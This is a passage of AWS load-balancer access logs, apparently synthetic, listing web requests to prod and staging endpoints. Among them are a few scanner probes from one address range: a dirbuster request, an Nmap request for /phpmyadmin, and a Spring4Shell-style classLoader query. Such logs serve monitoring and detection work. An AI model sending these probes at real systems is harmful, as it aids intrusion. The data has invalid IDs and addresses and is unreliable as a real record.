HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df2c-05199433d09d481e9e784680" "prod-web-alb.example.com" "-" 5 2024-11-01T02:49:00.519614Z "forward" "-" "-" "10.0.243.205:443" "301" "-" "-" +https 2024-11-01T02:49:01.528069Z prod-api-alb 98.24.47.22:23398 10.0.47.228:443 0.000940 0.016528 0.043178 200 200 166 2107 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df2d-d466b4a86eb14c47801f7343" "prod-api-alb.example.com" "-" 2 2024-11-01T02:49:01.528069Z "forward" "-" "-" "10.0.47.228:443" "200" "-" "-" +https 2024-11-01T02:49:02.104078Z prod-api-alb 124.132.230.209:52207 10.0.64.211:443 0.062258 0.327237 0.025027 302 302 981 2337 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df2e-5c162684c6a841deb89c1373" "prod-api-alb.example.com" "-" 0 2024-11-01T02:49:02.104078Z "forward" "-" "-" "10.0.64.211:443" "302" "-" "-" +https 2024-11-01T02:49:02.445934Z prod-web-alb 95.231.186.84:38970 10.0.218.52:443 0.046028 0.310977 0.030140 404 404 749 892 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df2e-49d4dacccb6942a5ac38bbd6" "prod-web-alb.example.com" "-" 1 2024-11-01T02:49:02.445934Z "forward" "-" "-" "10.0.218.52:443" "404" "-" "-" +http 2024-11-01T02:49:03.165238Z staging-alb 172.157.180.246:51263 58.178.122.124:8080 0.005111 0.674018 0.030325 302 302 982 7298 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df2f-13c249a0e48c4cc29291bacc" "staging-alb.example.com" "-" 5 2024-11-01T02:49:03.165238Z "forward" "-" "-" "58.178.122.124:8080" "302" "-" "-" +https 2024-11-01T02:49:04.630293Z prod-api-alb 176.246.219.186:33510 10.0.52.111:443 0.099797 0.047330 0.097451 200 200 627 5175 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df30-ea5d27f3856d4315a6cdbcc2" "prod-api-alb.example.com" "-" 5 2024-11-01T02:49:04.630293Z "forward" "-" "-" "10.0.52.111:443" "200" "-" "-" +https 2024-11-01T02:49:05.709026Z prod-web-alb 59.194.47.235:51742 10.0.94.211:443 0.051808 0.095830 0.074689 200 200 947 8531 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df31-af89c8448cf44b8498f618bd" "prod-web-alb.example.com" "-" 2 2024-11-01T02:49:05.709026Z "forward" "-" "-" "10.0.94.211:443" "200" "-" "-" +https 2024-11-01T02:49:06.339227Z prod-api-alb 130.187.241.44:29691 10.0.58.184:443 0.004870 0.172118 0.095633 302 302 692 5697 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df32-9fb2a13d0e23467084772aeb" "prod-api-alb.example.com" "-" 8 2024-11-01T02:49:06.339227Z "forward" "-" "-" "10.0.58.184:443" "302" "-" "-" +https 2024-11-01T02:49:07.573265Z prod-web-alb 229.249.42.250:45557 10.0.218.175:443 0.026802 0.205035 0.041911 301 301 8 11863 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df33-66d33a07321442f9aacdb3bd" "prod-web-alb.example.com" "-" 2 2024-11-01T02:49:07.573265Z "forward" "-" "-" "10.0.218.175:443" "301" "-" "-" +https 2024-11-01T02:49:08.066388Z prod-api-alb 142.65.88.11:37218 10.0.137.240:443 0.049107 0.391032 0.052750 302 302 308 9704 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df34-5ba175b869f14ea8873e6a19" "prod-api-alb.example.com" "-" 6 2024-11-01T02:49:08.066388Z "forward" "-" "-" "10.0.137.240:443" "302" "-" "-" +https 2024-11-01T02:49:08.485299Z prod-web-alb 198.174.142.138:14239 10.0.227.94:443 0.083495 0.001694 0.023492 302 302 687 9186 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df34-ceb2bf206fcd421a8e29f43e" "prod-web-alb.example.com" "-" 5 2024-11-01T02:49:08.485299Z "forward" "-" "-" "10.0.227.94:443" "302" "-" "-" +https 2024-11-01T02:49:09.382618Z prod-web-alb 243.98.170.60:35273 10.0.123.222:443 0.092291 0.101855 0.013980 200 200 1 14314 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df35-2685f04f8fa047b0802a4681" "prod-web-alb.example.com" "-" 5 2024-11-01T02:49:09.382618Z "forward" "-" "-" "10.0.123.222:443" "200" "-" "-" +https 2024-11-01T02:49:10.222594Z prod-web-alb 152.169.15.91:16343 10.0.208.102:443 0.076543 0.224043 0.057483 404 404 411 13613 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df36-078774a3fac24cf180579d60" "prod-web-alb.example.com" "-" 2 2024-11-01T02:49:10.222594Z "forward" "-" "-" "10.0.208.102:443" "404" "-" "-" +http 2024-11-01T02:49:11.446772Z staging-alb 83.70.86.210:42509 8.45.169.172:8080 0.024966 0.693943 0.098772 200 200 525 2247 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df37-cd4fa56bb8ca42d787c5d86c" "staging-alb.example.com" "-" 1 2024-11-01T02:49:11.446772Z "forward" "-" "-" "8.45.169.172:8080" "200" "-" "-" +http 2024-11-01T02:49:12.327339Z staging-alb 223.215.221.212:61447 107.197.25.119:8080 0.030430 0.419690 0.081202 200 200 196 4110 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df38-1cb2ab1170bf46c9806dd369" "staging-alb.example.com" "-" 2 2024-11-01T02:49:12.327339Z "forward" "-" "-" "107.197.25.119:8080" "200" "-" "-" +http 2024-11-01T02:49:14.251918Z staging-alb 10.68.10.98:30336 8.181.153.12:8080 0.100095 0.485317 0.028652 200 200 617 1352 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df3a-ee33b88b0ba3491e9431b85b" "staging-alb.example.com" "-" 8 2024-11-01T02:49:14.251918Z "forward" "-" "-" "8.181.153.12:8080" "200" "-" "-" +https 2024-11-01T02:49:15.412222Z prod-web-alb 104.182.221.18:46020 10.0.252.246:443 0.002027 0.055042 0.005939 404 404 113 914 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df3b-d43a2d99462448e280b0311e" "prod-web-alb.example.com" "-" 9 2024-11-01T02:49:15.412222Z "forward" "-" "-" "10.0.252.246:443" "404" "-" "-" +https 2024-11-01T02:49:16.189777Z prod-web-alb 31.247.55.201:22188 10.0.131.243:443 0.028504 0.075851 0.013643 200 200 716 1459 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df3c-7e761b9d58a0448f91cf231e" "prod-web-alb.example.com" "-" 4 2024-11-01T02:49:16.189777Z "forward" "-" "-" "10.0.131.243:443" "200" "-" "-" +https 2024-11-01T02:49:17.387316Z prod-api-alb 7.208.146.20:54138 10.0.117.240:443 0.068681 0.078998 0.081955 200 200 665 1851 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df3d-0939f6de00c540208266c0d7" "prod-api-alb.example.com" "-" 9 2024-11-01T02:49:17.387316Z "forward" "-" "-" "10.0.117.240:443" "200" "-" "-" +https 2024-11-01T02:49:19.157445Z prod-web-alb 84.246.69.72:57964 10.0.41.191:443 0.064404 0.327858 0.068675 301 301 437 10981 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df3f-e629d55a56344f4187dfc04b" "prod-web-alb.example.com" "-" 7 2024-11-01T02:49:19.157445Z "forward" "-" "-" "10.0.41.191:443" "301" "-" "-" +https 2024-11-01T02:49:21.070948Z prod-web-alb 76.80.111.176:40893 10.0.138.254:443 0.046882 0.002800 0.037815 301 301 589 13254 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df41-88334a5cdfcd4b1e995d66bd" "prod-web-alb.example.com" "-" 2 2024-11-01T02:49:21.070948Z "forward" "-" "-" "10.0.138.254:443" "301" "-" "-" +https 2024-11-01T02:49:22.945253Z prod-api-alb 81.127.84.246:32259 10.0.224.239:443 0.020178 0.449960 0.022279 301 301 964 12064 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df42-85629e03a31e40e38c97c2d4" "prod-api-alb.example.com" "-" 10 2024-11-01T02:49:22.945253Z "forward" "-" "-" "10.0.224.239:443" "301" "-" "-" +https 2024-11-01T02:49:24.173833Z prod-web-alb 122.83.252.217:15564 10.0.145.66:443 0.061318 0.169980 0.058567 200 200 1000 7876 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df44-d27437b863214765aaaa301f" "prod-web-alb.example.com" "-" 7 2024-11-01T02:49:24.173833Z "forward" "-" "-" "10.0.145.66:443" "200" "-" "-" +https 2024-11-01T02:49:25.506283Z prod-web-alb 144.241.250.56:63741 10.0.201.251:443 0.084515 0.380289 0.018751 200 200 715 13242 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df45-025fd2e6974f4ba7985d6b79" "prod-web-alb.example.com" "-" 4 2024-11-01T02:49:25.506283Z "forward" "-" "-" "10.0.201.251:443" "200" "-" "-" +https 2024-11-01T02:49:26.701518Z prod-web-alb 193.27.228.126:25424 10.0.189.14:443 0.043197 0.186280 0.006344 500 500 601 1482 "POST /server-status HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df46-baf2ab80f47e415492680202" "-" "-" 2 2024-11-01T02:49:26.701518Z "forward" "-" "-" "10.0.189.14:443" "500" "-" "-" +https 2024-11-01T02:49:28.010300Z staging-alb 228.14.73.28:22302 5.165.134.166:8080 0.018987 0.424000 0.003251 200 200 894 6511 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df48-33a2507dcf4c479c8e01911c" "staging-alb.example.com" "-" 0 2024-11-01T02:49:28.010300Z "forward" "-" "-" "5.165.134.166:8080" "200" "-" "-" +https 2024-11-01T02:49:29.797202Z staging-alb 114.78.75.103:62516 108.20.22.240:443 0.057237 0.410928 0.029590 200 200 754 7323 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df49-a3d758d8cbff4770acdd0507" "staging-alb.example.com" "-" 2 2024-11-01T02:49:29.797202Z "forward" "-" "-" "108.20.22.240:443" "200" "-" "-" +https 2024-11-01T02:49:31.208211Z prod-api-alb 245.237.11.76:34405 10.0.179.59:443 0.025098 0.240094 0.098620 200 200 884 10606 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df4b-e36689eb0f0d47bc9472b965" "prod-api-alb.example.com" "-" 7 2024-11-01T02:49:31.208211Z "forward" "-" "-" "10.0.179.59:443" "200" "-" "-" +https 2024-11-01T02:49:31.890652Z prod-api-alb 145.244.226.63:25286 10.0.126.142:443 0.081259 0.037183 0.067830 200 200 137 6287 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df4b-1bd090fedb8f47afa682db18" "prod-api-alb.example.com" "-" 3 2024-11-01T02:49:31.890652Z "forward" "-" "-" "10.0.126.142:443" "200" "-" "-" +https 2024-11-01T02:49:33.368785Z prod-api-alb 68.200.57.216:52153 10.0.38.46:443 0.055875 0.181275 0.087594 200 200 205 14345 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df4d-ecdb9c06e2534853b942dcb3" "prod-api-alb.example.com" "-" 7 2024-11-01T02:49:33.368785Z "forward" "-" "-" "10.0.38.46:443" "200" "-" "-" +http 2024-11-01T02:49:35.164590Z staging-alb 49.39.116.144:64693 230.255.12.156:80 0.080923 0.615627 0.079196 404 404 237 2863 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df4f-b1b271c7ffe9477e9ab2b8a8" "staging-alb.example.com" "-" 5 2024-11-01T02:49:35.164590Z "forward" "-" "-" "230.255.12.156:80" "404" "-" "-" +https 2024-11-01T02:49:35.670131Z prod-web-alb 30.78.176.140:21251 10.0.51.65:443 0.014004 0.328402 0.033896 404 404 214 8724 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df4f-6cde04b789d04fe299151659" "prod-web-alb.example.com" "-" 10 2024-11-01T02:49:35.670131Z "forward" "-" "-" "10.0.51.65:443" "404" "-" "-" +https 2024-11-01T02:49:36.382337Z prod-api-alb 193.27.228.71:28156 10.0.246.9:443 0.003872 0.208699 0.052596 403 403 203 6432 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df50-fa69f64a13bd4a8b863f9923" "-" "-" 6 2024-11-01T02:49:36.382337Z "forward" "-" "-" "10.0.246.9:443" "403" "-" "-" +https 2024-11-01T02:49:36.536917Z prod-api-alb 121.11.52.166:43182 10.0.159.29:443 0.020246 0.443003 0.090389 301 301 324 7224 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df50-bf2a2df35f714e5c91e19f74" "-" "-" 3 2024-11-01T02:49:36.536917Z "forward" "-" "-" "10.0.159.29:443" "301" "-" "-" +https 2024-11-01T02:49:37.057276Z staging-alb 155.68.142.142:28700 111.211.1.145:443 0.105484 0.571703 0.127522 200 200 666 2851 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df51-300c2ace74c54a4b9a1832a3" "staging-alb.example.com" "-" 4 2024-11-01T02:49:37.057276Z "forward" "-" "-" "111.211.1.145:443" "200" "-" "-" +https 2024-11-01T02:49:38.996310Z staging-alb 190.138.171.160:42279 84.92.149.225:443 0.094415 0.261588 0.056836 200 200 463 894 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df52-d3bfda593b724aa28c766092" "staging-alb.example.com" "-" 0 2024-11-01T02:49:38.996310Z "forward" "-" "-" "84.92.149.225:443" "200" "-" "-" +https 2024-11-01T02:49:40.961226Z prod-web-alb 158.215.236.99:45075 10.0.243.106:443 0.075464 0.350704 0.097674 200 200 986 5640 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df54-33cf8523e70a4400bd141fda" "prod-web-alb.example.com" "-" 9 2024-11-01T02:49:40.961226Z "forward" "-" "-" "10.0.243.106:443" "200" "-" "-" +https 2024-11-01T02:49:42.581805Z prod-web-alb 31.250.99.224:52893 10.0.180.99:443 0.057856 0.036698 0.024736 200 200 901 9110 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df56-52aef016238b42a684609810" "prod-web-alb.example.com" "-" 4 2024-11-01T02:49:42.581805Z "forward" "-" "-" "10.0.180.99:443" "200" "-" "-" +https 2024-11-01T02:49:43.980960Z prod-web-alb 182.26.8.209:28362 10.0.145.106:443 0.071679 0.044892 0.005361 200 200 210 5133 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df57-5cb3749288924c54a95e9450" "prod-web-alb.example.com" "-" 4 2024-11-01T02:49:43.980960Z "forward" "-" "-" "10.0.145.106:443" "200" "-" "-" +https 2024-11-01T02:49:45.860704Z prod-api-alb 209.98.73.222:45284 10.0.208.160:443 0.073268 0.099346 0.007374 200 200 206 6913 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df59-e19d6c0fbdb0489a9845e992" "prod-api-alb.example.com" "-" 6 2024-11-01T02:49:45.860704Z "forward" "-" "-" "10.0.208.160:443" "200" "-" "-" +https 2024-11-01T02:49:46.881011Z prod-web-alb 105.32.97.68:17721 10.0.9.250:443 0.003124 0.206353 0.054858 200 200 469 9823 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df5a-b5ef45f13a76489eb5edd28f" "prod-web-alb.example.com" "-" 3 2024-11-01T02:49:46.881011Z "forward" "-" "-" "10.0.9.250:443" "200" "-" "-" +http 2024-11-01T02:49:48.154753Z staging-alb 188.58.200.68:33045 176.44.249.206:443 0.097325 0.265953 0.057391 200 200 130 9800 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df5c-3b64898de49842a7aba18506" "staging-alb.example.com" "-" 4 2024-11-01T02:49:48.154753Z "forward" "-" "-" "176.44.249.206:443" "200" "-" "-" +http 2024-11-01T02:49:48.643079Z staging-alb 2.23.44.225:17668 166.112.61.155:443 0.078727 0.598946 0.070257 200 200 692 9760 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df5c-9bfdb0cf0eb945ec9754c46c" "staging-alb.example.com" "-" 2 2024-11-01T02:49:48.643079Z "forward" "-" "-" "166.112.61.155:443" "200" "-" "-" +https 2024-11-01T02:49:50.337596Z prod-api-alb 193.27.228.118:37530 10.0.187.83:443 0.002396 0.266406 0.032054 302 302 13 1751 "POST /phpmyadmin HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df5e-b8863fd1646f4fde8728d079" "-" "-" 4 2024-11-01T02:49:50.337596Z "forward" "-" "-" "10.0.187.83:443" "302" "-" "-" +http 2024-11-01T02:49:50.538342Z staging-alb 249.247.146.20:64755 13.218.205.153:443 0.135867 0.028952 0.016593 301 301 263 3089 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df5e-976c9855aca14c6596d4632a" "staging-alb.example.com" "-" 0 2024-11-01T02:49:50.538342Z "forward" "-" "-" "13.218.205.153:443" "301" "-" "-" +https 2024-11-01T02:49:51.877386Z prod-web-alb 148.211.206.239:54283 10.0.246.48:443 0.065329 0.429980 0.001624 200 200 646 8943 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df5f-30d26e433f374a26a8a5573b" "prod-web-alb.example.com" "-" 1 2024-11-01T02:49:51.877386Z "forward" "-" "-" "10.0.246.48:443" "200" "-" "-" +https 2024-11-01T02:49:52.554472Z prod-api-alb 228.22.0.79:29842 10.0.8.56:443 0.022640 0.127028 0.077706 301 301 404 8798 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df60-2a627e9f678c4748822a1cde" "prod-api-alb.example.com" "-" 7 2024-11-01T02:49:52.554472Z "forward" "-" "-" "10.0.8.56:443" "301" "-" "-" +https 2024-11-01T02:49:53.861175Z prod-web-alb 11.42.228.6:48088 10.0.70.56:443 0.070829 0.225369 0.070167 200 200 793 14444 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df61-e54e2f23c2a54283a934bf5e" "prod-web-alb.example.com" "-" 1 2024-11-01T02:49:53.861175Z "forward" "-" "-" "10.0.70.56:443" "200" "-" "-" +https 2024-11-01T02:49:54.137862Z prod-api-alb 118.42.72.172:51490 10.0.77.159:443 0.092996 0.473182 0.034827 200 200 676 10139 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 